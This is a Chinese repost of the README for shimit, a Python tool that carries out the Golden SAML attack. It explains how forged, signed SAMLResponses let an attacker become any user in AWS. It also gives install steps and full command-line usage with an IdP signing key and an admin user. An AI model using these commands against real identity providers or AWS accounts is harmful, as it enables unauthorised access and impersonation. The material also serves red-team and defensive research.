shimit

shimit是一个实现Golden SAML攻击的python工具。关于这方面的更多信息可以在我们博客的以下文章中找到。

python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]

          ██╗   ███████╗██╗  ██╗██╗███╗   ███╗██╗████████╗     ██╗ ██╗  
         ██╔╝   ██╔════╝██║  ██║██║████╗ ████║██║╚══██╔══╝    ██╔╝ ╚██╗ 
        ██╔╝    ███████╗███████║██║██╔████╔██║██║   ██║      ██╔╝   ╚██╗
        ╚██╗    ╚════██║██╔══██║██║██║╚██╔╝██║██║   ██║     ██╔╝    ██╔╝
         ╚██╗   ███████║██║  ██║██║██║ ╚═╝ ██║██║   ██║    ██╔╝    ██╔╝ 
          ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═╝   ╚═╝    ╚═╝     ╚═╝  

概观

在金色的SAML攻击中,攻击者可以以任何他们想要的权限访问应用程序(任何支持SAML身份验证的应用程序),并成为目标应用程序上的任何用户。

shimit允许用户创建一个签名的SAMLResponse对象,并使用它在服务提供者中打开一个会话。shimit现在支持作为服务提供商的 AWS控制台,更多正在开发中......

AWS

在生成并签署SAMLResponse的断言之后,shimit将调用AWS中的AssumeRoleWithSAML() API。然后,会话标记和密钥将应用于新会话,用户可以使用aws cli使用使用黄金SAML获取的权限执行操作。

要求:

要安装所需的模块,请运行以下命令:

python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
AWS cli

需要安装才能使用获得的凭据。可以 从这些链接下载用于WindowsLinux

用法:

为AWS cli申请会话
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012

idp - 身份提供商URL,例如http://server.domain.com/adfs/services/trust

pk - 私钥文件完整路径(pem格式)

c - 证书文件完整路径(pem格式)

u - 用户和域名,例如domain \ username(在* nix中使用\或引号)

n - AWS中的会话名称

r - AWS中期望的角色。支持多个角色,将假定第一个角色。

id - AWS账户ID,例如123456789012

将SAMLResponse保存到文件

python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

o - 将编码的SAMLResponse输出到指定的文件路径

从文件加载SAMLResponse

python .\shimit.py -l saml_response.xml

l - 从指定的文件路径加载SAMLResponse


转载请注明出处: https://www.freearoot.com/index.php/shimit.html

文章来源:https://github.com/cyberark/shimit#aws-cli